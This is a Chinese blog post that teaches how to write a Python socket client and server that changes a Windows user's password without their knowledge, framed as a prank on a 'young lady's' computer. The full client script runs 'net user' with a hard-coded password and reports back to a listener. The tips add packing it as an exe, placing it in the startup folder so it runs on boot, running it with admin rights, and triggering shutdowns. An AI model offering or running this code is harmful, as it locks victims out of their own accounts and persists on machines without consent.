用Python修改小姐姐的电脑密码

  1. socket
  2. 修改密码
  3. 源码
  4. 小技巧
  • 环境:Python3.7 win7(192.168.43.78) win7靶机(192.168.43.91)
  • 思路:用socket写一个client和server,server通过监听端口获取client端运行的结果,client端运行修改密码的代码

socket

首先我们要学会用socket写出两台机器之间通信:

server.py

1
2
3
4
5
6
7
8
9
10
11
#-*-coding:utf-8-*-
import socket

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket对象

server.bind(("127.0.0.1",8080)) #绑定指定ip:port,注意这里要是元组的形式
server.listen(5) #开始监听,5为可以连接的最大数量
print('start listen....')
conn,addr = server.accept() #返回信息传递给两个惨呼
client_msg = conn.recv(1024) #返回的参数
print(client_msg)

client.py

1
2
3
4
5
6
7
#-*-coding:utf-8-*-
import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket对象
client.connect(("127.0.0.1",8080)) #连接地址端口
client.send("hello lady,") #发送信息
client.close()

看一下效果:

修改密码

我们修改密码用subprocess.popen()来实现

1
2
import subprocess
subprocess.Popen('cmd命令')

然后我们尝试去修改当前用户的密码,首先要获取用户名

1
2
3
4
5
6
7
import getpass

user = getpass.getuser()
print(user)

result:
Administrator

然后设置密码:

1
pwd = 'sher10ck'

最后用上面的函数来实现:

1
subprocess.Popen(['net', 'User', user, pwd])

这样我们就达到了我们想要的效果

源码

这里贴上代码:
Client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#-*-coding:utf-8-*-
import socket
import getpass
import subprocess

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket对象

client.connect(("127.0.0.1",8080)) #连接地址端口

user = getpass.getuser() # 获取计算机用户名

pwd = 'sher10ck'

subprocess.Popen(['net', 'User', user, pwd])


client.send("change pwd:{} success".format(pwd)) #发送信息
client.close()

小技巧

1、我们攻击者的电脑上不一定有py环境,这个时候可尝试用Pyinstaller将我们的py脚本转换成exe文件,然后copy到电脑开机运行的目录下,这样就可以开机直接运行程序
2、可能遇到拒绝访问的情况,这里要用管理员权限打开文件
3、可以弄些其他的骚操作,比方说shutdown啥的


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:用Python修改小姐姐的电脑密码

本文作者:sher10ck

发布时间:2019-01-29, 14:51:19

最后更新:2020-01-13, 12:56:34

原始链接:http://sherlocz.github.io/2019/01/29/change-your-pwd/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录